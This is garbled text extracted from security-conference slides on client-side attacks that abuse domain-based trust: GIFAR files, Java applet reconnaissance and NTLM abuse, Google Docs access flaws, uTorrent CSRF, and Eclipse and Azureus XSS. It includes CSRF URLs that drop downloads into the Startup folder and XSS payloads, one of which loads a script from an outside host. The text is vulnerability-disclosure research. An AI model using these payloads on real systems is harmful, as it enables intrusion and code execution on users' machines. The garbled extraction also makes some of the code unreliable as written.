Welcome

Nate McFetersRob
R b Carter
C t

John Heasman

Our Mission:“Demonstrate a feasible compromise of an organization via
client‐side attacks that require no code execution and that evenwork against IE running in Protected Mode. “Las Vegas looks the way you'd imagine heaven must look at night ‐ Chuck Palahniuk

Agenda•••The Flaw of Domain‐Based Trust–
What Relies on Domain‐Based
Trust?
–
Overview of Same Origin
Policyy–Content Ownership andContent “PWNERSHIP”
Abusing Domain‐Based Trust–
JVM DNS Rebinding–
GIFAR Attacks•– Repurposing Java Applets inThinkFree– I am the Mayor of Oak Tree:
Stealing Google Documents•

JJava Network
N t
k ReconnaissanceRi
Loading Content from Local
Abusing NTLM
Repurposing Signed Content

Local Web Servers– uTorrent CSRF
– Cross‐Zone Scripting– Azureus Web UI XSS– Eclipse Help System XSS

Java: The Land Time Forgot––––A Word About Online Word
Document Editingd•Other Oddities– Windows Vista Version Trick– Google Gears Origin Spoofing

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

The Flaw of Domain
Domain‐Based
Based Trust
Ahhh… sweet Domain‐Based Trust

Jesus, where will it end? How low do you have to stoop in this country to become president? –Hunter S. Thompson

What Relies on Domain‐Based
Domain Based Trust?
• Same Origin
g Policyy• SSL Certificates• Phishing Filters• Human Trust

For a loser, Vegas is the meanest town on earth ‐ Hunter S. Thompson

Overview of the Same Origin Policy• Goal is to prevent a resource loaded from onesite manipulating or communicating withanother site
• For example, applets loaded from sitea.com
should only communicate with sitea.com andnot siteb.com

I mean, what do you do in Las Vegas? You gamble ‐ and you go to strip clubs ‐ Scott Caan

The Flaw of Domain
Domain‐Based
Based Trust
Content Ownership and PWNERSHIP

Man, I really like Vegas ‐ Elvis PresleyAbusing code.google.com file uploads• Upload arbitrary files code.google.com byattaching a file to the “issues” portion of a
project• Uploaded file is served from code.google.com• As each project has it’s
it s own directory
directory, can’t
can t
use crossdomain.xml file and Flash• JavaJddoesn’t’t hhave thisthi restriction,t i tiso uploadl d
an applet
What happens in Vegas stays in Vegas ‐ Jeff Candido and Jason Hoff

Stealing GoogleCode Password

That sh*t was crazy dawg! – Billy BK Rios

General Content Ownership Issues• Any site that takes ownership of someone
else’s content is at risk
• Seems obvious if a site will take arbitrary
uploads of executable code or dynamic serverside code and put it in a predictable location–

What if it’s not the same domain and protectedbyy cookies,, i.e. domain rewriting?
g

I’m fu**in’ dying man… ‐ Nate McFeters

General Content Ownership Issues
Cont’d’d• What about images, text, video, word
documents, XML, etc? Is this OK?
–––

XML leads to the uploadpof a crossdomain.xml
policy file for attacking Flash for bypass of Same
Origin Policy
Images, Video, Word Docs, all have possible fileformat flaws
What about GIFARS?
• Wait, what’s a GIFAR?
• You’ll’ll see…

Brett, will you please just get me some cereal and some Pepto Bismol… I’m seriously dying man.
– Nate McFeters

Abusing Domain
Domain‐Based
Based Trust
JVM DNS Rebinding

If we're ever going to get out of here alive, we're going to need some golf shoes. – Hunter S.
ThompsonDNS Rebinding in the JVM• There’s been a number of ways to do it:
–
–
–
–
–

Java LiveConnect (in Firefox)
Applet Caching
Loading Applet’s with the ‘verbatim:’ protocol
handler
File:// and localhost Codebase Attacks
This has all been done… I’m sick of DNS
rebinding, how about we instead, force anapplet onto the server we’d like to attack?
We can't stop here this is bat country. – Hunter S. Thompson

Enter Jafar Attacks

You took too much man, too much, too much. – Benecio Del Toro

That’ss GIFAR Attacks, Not Jafar
That• What’s a GIFAR?
–––

A combination of a GIF and a JAR resulting fromthe fact that a JAR keeps its relevant data within
the footer of a file, whereas GIFs keep theirrelevantlt metadatat d t iin theth hheaderd
Allows us to create a file that is both a GIF and a
JAR
Will load just as any image would, but will alsoload as a JAR (Applet in this case)

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

GIFAR Demo:In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge.
Nothing ever gets hit there. ‐ Author Unknown

This Image is Not the JAR You Are
Lookingk For• Jedi‐mind trick on Java Virtual Machine thatallows an image to also be an applet• By the way, it’s not just images• Why is this useful? Well, how many sites
allow you to load images?
–

Youtube, GMail
YoutubeGMail, Yahoo! Mail,
Mail Nearly all Social
Networking Apps, Forums, etc.

• We now control the Intarwebz
Intarwebz.
A weekend in Vegas without gambling and drinking is just like being a born‐again Christian.
‐ Artie Lange

Java: The Land Time Forgot“90% of desktops
run Java SE”
JavaOne 2008,
KeynoteNo presidential candidate should visit Las Vegas without condemning organized gambling.
‐ Ralph NaderJava: The Land Time Forgot
Java Network ReconnaissanceI lost $35,000 in less than a week at the Mirage in Las Vegas. ‐ Dennis Rodman

Detect VMWare and VPNs
• Applet can enumerate nw interfaces• Applet can enumerate nw interfaces• Search for common names:– VPNs– VMWare– Wireless, Bluetooth

I shouldn't be near Vegas and have money in my pocket. ‐ Adam Sandler

Determine the DNS Server• Appletspp
cannot learn DNS server• Use JNDI to try to resolve hostname
hashtable.put("java.naming.factory.initial","com.sun.jndi.dns.DnsContextFactory");hashtable.put("java.naming.provider.url","dns://");(new InitialDirContext(hashtable)).getAttributes("foo", new String[] {"A"});• Grep exception for IP:

In Vegas, I got into a long argument with the man at the roulette wheel over what I considered
to be an odd number. ‐ Steven WrightResolve Arbitrary Hostnames• Applets
A l t cannott resolve
l hostnames
h t• Java Web Start isInstalled ActiveX• Brute force common intranet hostnames

I did my time for the crime. I paid my money to Las Vegas. I paid my dues ‐ Mike Tyson

Host-up
Host
up Scan• Applet can only connect to same origin• But java.net.InetAddress contains:• Implementedpin native code ((no sandbox))– TCP connect port 7 (or ICMP echo)• Get local IP and sweep subnets

Las Vegas looks the way you'd imagine heaven must look at night ‐ Chuck Palahniuk

Java: The Land Time Forgot
Loading Content From the Localhost

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

File & Localhost Codebases• Applet loaded from file://– Can read files from the same directory• AppletA l t lloaded
d d ffrom fil
file://// or llocalhost:lh t– Enumerate IPs bound to each adapter– Listen on port (> 1025), accept from localhost• Applet
pp loaded from JRE\lib\ext:– Gets java.Security.AllPermission

Jesus, where will it end? How low do you have to stoop in this country to become president? –Hunter S. Thompson

Logical Same Origin Bypasses• Patched
P t h dM
March
h 2008<APPLET code=“someclass” codebase=“http://someurl” /><APPLET code=
code=“http://foo/bar”
http://foo/bar codebase=codebase=“http://baz”
http://baz />I hadn't been in Vegas 20 minutes when I got word that the bookmakers were offering three to
one that Frank wouldn't show for my wedding. ‐ Sammy Davis, Jr.

Java: The Land Time Forgot
Abusing NTLM

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

on NTLM
1. C -> S
2 C <- S
2.
3: C -> S
4: C <- S
5 C -> S
5:
6: C <- S
For a loser, Vegas is the meanest town on earth ‐ Hunter S. Thompson

Java & NTLM
• Use localhost p
partial Same Origingbypass• Applet binds port 1234 on localhost
sock = new ServerSocket(1234, 0,
InetAddress.getByName("127.0.0.1"));

IPv4• IFRAME src set to http://localhost:1234h //l
lh only1234• We’ve got a web server!

I mean, what do you do in Las Vegas? You gamble ‐ and you go to strip clubs ‐ Scott Caan

Which Means…
Applet 1
Internet

Applet 3

Applet 2

Man, I really like Vegas ‐ Elvis Presley

Auth’edIntranetDemo

What happens in Vegas stays in Vegas ‐ Jeff Candido and Jason Hoff

Java: The Land Time Forgot
Repurposing Java Applets

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

Repurposing Java Applets• We may move the office example coming
next back to here in favor of another office
example later onon.

That sh*t was crazy dawg! – Billy BK Rios

A Word About Online Word
Document Editing
Repurposing Java Attacks in
ThinkFree

I’m fu**in’ dying man… ‐ Nate McFetersRepurposing Java: Who Do You
T
Trust?
?

• Users
U
agree tto trustt t publishers,
bli hnott <Publisher,
P bli h URL
URL>Brett, will you please just get me some cereal and some Pepto Bismol… I’m seriously dying man.
– Nate McFetersWhat is ThinkFree?
• ThinkFree is a signed applet (for disk
access)• Looks a lot like Word 2003 … by design

If we're ever going to get out of here alive, we're going to need some golf shoes. – Hunter S.
ThompsonRepurposing Java in an Office 2.0
A li iApplication• Loader JAR is signed
signed, remaining JARs
unsigned• Attack: Host original loader with malicious
2nd JAR• Silent
Sil t compromise
i off allll Thi
ThinkFree
kF
users• Patched May 2008
• Java applets can be repurposed just like
ActiveX
You took too much man, too much, too much. – Benecio Del Toro

A Word About Online Word
Document Editing
I am the Mayor of Oak Tree: Stealing
Google Documents

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

Becoming the Mayor of Oak Tree
• Unauthenticated users could view arbitrary
docs by simply guessing the doc_id
parameter:

In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge.
Nothing ever gets hit there. ‐ Author Unknown

Becoming the Mayor of Oak Tree
• Unauthorized users could edit arbitrary
docs:

A weekend in Vegas without gambling and drinking is just like being a born‐again Christian.
‐ Artie Lange

Other Paths to Becoming Mayor• Use the email collaborators featurefeature, thenreplace your doc_id with someone else’sand email yourself their document• Use the publish document to blog feature,then replace your doc
doc_idid with someone
else’s and push the document to yourblogspot blog
• Upload a crossdomain.xml file instead of adoc
No presidential candidate should visit Las Vegas without condemning organized gambling.
‐ Ralph NaderLocally Running Web Servers
uTorrent CSRF

I lost $35,000 in less than a week at the Mirage in Las Vegas. ‐ Dennis Rodman

What is uTorrent?
• Popular torrent client• Web UI plugin available– Starts
St t a web
b server on theth localllhhostt– Useful for remote administration

I shouldn't be near Vegas and have money in my pocket. ‐ Adam Sandler

uTorrent Issues• Unfortunately,
Unfortunately there were problems with
the implementation, namely XSS andCSRF:

In Vegas, I got into a long argument with the man at the roulette wheel over what I considered
to be an odd number. ‐ Steven WrightuTorrent CSRF
• CSRF the "Move
Move completed downloads to"tooption– http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\
Documents%20and%20Settings\All%20Usersg\Start%20Menu\Programs\Startup• CSRF to add torrent and begin download– http://localhost:14774/gui/?action=addurl&s=http://www.whatever.com/file.torrentp
I did my time for the crime. I paid my money to Las Vegas. I paid my dues ‐ Mike Tyson

uTorrent CSRF
• uTorrent settings will now look like this:Las Vegas looks the way you'd imagine heaven must look at night ‐ Chuck Palahniuk

Locally Running Web Servers
Cross‐Zone Scripting

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

Cross-Zone
Cross
Zone Scripting• Locally running web servers are vulnerable toC
Cross-Zone
Z
S
Scriptingi ti attacks
tt k• What are the zones:– InternetI(high(hi h security)i )– Local Intranet (medium-low security)– Restricted (very high security)– Trusted (low security)• To get into the trusted zone requires the user ora trusted program to put you there• We want to get into the Local Intranet zone
For a loser, Vegas is the meanest town on earth ‐ Hunter S. Thompson

The “localhost” is in the Intranet
Zone• What sites are in Local Intranet byy default?
– All network connections established with the
Universal Naming Convention (e.g.
\\192 168 0 3\share)\\192.168.0.3\share)– Web sites that bypass the proxy server– Web sites with names that don’t include periods (.)• What’s another name for 127.0.0.1 in almost
every operating system out there?
– localhost!
llh t!
• Contains no periods• All ports for localhost are fair gameHe who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson

What Advantage Does Local
I
IntranetGive?
Gi ?
• What can we do in the Local Intranet
Zone?
– Same origin is not strictly enforced like in theInternet Zone
– Useful for other attacks requiring the lowered
privileges of the intranet zone like John’s
password hash stealerp

We can't stop here this is bat country. – Hunter S. Thompson

Locally Running Web Servers
Azureus Web UI XSS

I mean, what do you do in Las Vegas? You gamble ‐ and you go to strip clubs ‐ Scott Caan

What is Azureus?
• Another popular torrent client• Azureus comes with a web UI plugin built
in but not enabled by default
in,default.
• Like uTorrent’s web UI, this is useful for
remotet administrationd i i t ti off torrenttt downloadsdl d

Jesus, where will it end? How low do you have to stoop in this country to become president? –Hunter S. Thompson

Azureus Web UI XSS• Sample XSS attack vectors:– http://localhost:6886/index.tmpl?search="));alert( xss );//
ert('xss');//– http://localhost:6886/index.tmpl?d=d&t="));alert( xss );//
rt('xss');//

I lost $35,000 in less than a week at the Mirage in Las Vegas. ‐ Dennis Rodman

Locally Running Web Servers
Eclipse Help System XSS

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

Locally Running Web Server in
E li
Eclipse• Eclipse
p helpp systemystarts ApachepCoyoteywebserver… used for help for Integrated Dev
Environment (IDE)• IDE that is used as the basis for many different
products– Adobe Flex Builder– IBM W
WebSpherebS hSt
Studiodi– SAP NetWeaver Studio– JBoss Eclipse IDE– Borland JBuilder 2007
– MyEclipse– Zend StudioLas Vegas looks the way you'd imagine heaven must look at night ‐ Chuck Palahniuk

Eclipse Help System XSS• http://localhost/help/advanced/searchView.jsp?spp
j p
earchWord=a");}alert('xss');</script>• http://localhost/help/advanced/workingSetManager jsp?operation=add&
er.jsp?operation=add&
workingSet='%3E%3Cscript%20src%3D'http%3
A%2F%2F1.2.3.4%2Fa.js'%3E%3C%2Fscript%
3E

No presidential candidate should visit Las Vegas without condemning organized gambling.
‐ Ralph NaderOther Oddities
Windows Vista Version Trick

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

Vista Version Trick• UNC notation can include a port number– \\1.2.3.4:80• Sends some interesting requests– 8.7.6.5 - - [30/Apr/2008:16:35:23 -0500]"OPTIONS / HTTP/1.1"
HTTP/1 1" 200 - "-"" " "Microsoft"Microsoft
WebDAV-MiniRedir/6.0.6000"– 5.4.3.2
5 4 3 2 - - [29/Apr/2008:16:21:38 -0500]
0500]"PROPFIND / HTTP/1.0" 200 - "-" "MicrosoftWebDAV MiniRedir/6.0.6001
WebDAV-MiniRedir/6.0.6001"
You took too much man, too much, too much. – Benecio Del Toro

Vista Version Trick• PROPFIND / HTTP/1.1
HTTP/1 1
Content-Length: 0
Depth: 0translate: fUser-Agent:
User
Agent: Microsoft
Microsoft‐WebDAV‐
WebDAV
MiniRedir/6.0.6000
Host: 1.2.3.4
1234
Proxy-Connection: Keep-Alive
I hadn't been in Vegas 20 minutes when I got word that the bookmakers were offering three to
one that Frank wouldn't show for my wedding. ‐ Sammy Davis, Jr.

Other Oddities
Google Gears JSON Injection Origin
Spoofing Attack

Las Vegas is sort of like how God would do it if he had money ‐ Steve Wynn

Google Gears Origin Spoofing?
• Gears installs client-sideclient side code
– DLL for IE– XUL object for Firefox• When you visit a page that wants to run
G
Gears
code,
d GearsG
will
ill promptt you anddask if you would like to trust this code

In the case of an earthquake hitting Las Vegas, be sure to go straight to the Keno Lounge.
Nothing ever gets hit there. ‐ Author Unknown

Google Gears Origin Spoofing• An ActiveX object
jis created• The factory function getPermission() is then called• The information in the parameters for getPermission() ispassed to the modal dialog box through a JSON object{"customIcon" :"htt //66 60 224 162/"http://66.60.224.162/gears/gears_sm_1.png",/1""customMessage" : "Trusted Google Code Gears
Application for Pwning U",""customName"t N" : "Google"G
l C
Code\",d \""origin" : "http://66.60.224.162"}
A weekend in Vegas without gambling and drinking is just like being a born‐again Christian.
‐ Artie Lange

Googleg Gears Origin
g Spoofingpg• “customName” parameter doesn’t sanitize properly{ … "customName" : "Google Code","orgin“ :"http //code google com"}" , "origin" : "http"http://code.google.com"}""http://66.60.224.162"}//66 60 224 162"}

He who makes a beast out of himself gets rid of the pain of being a man. – Hunter S. Thompson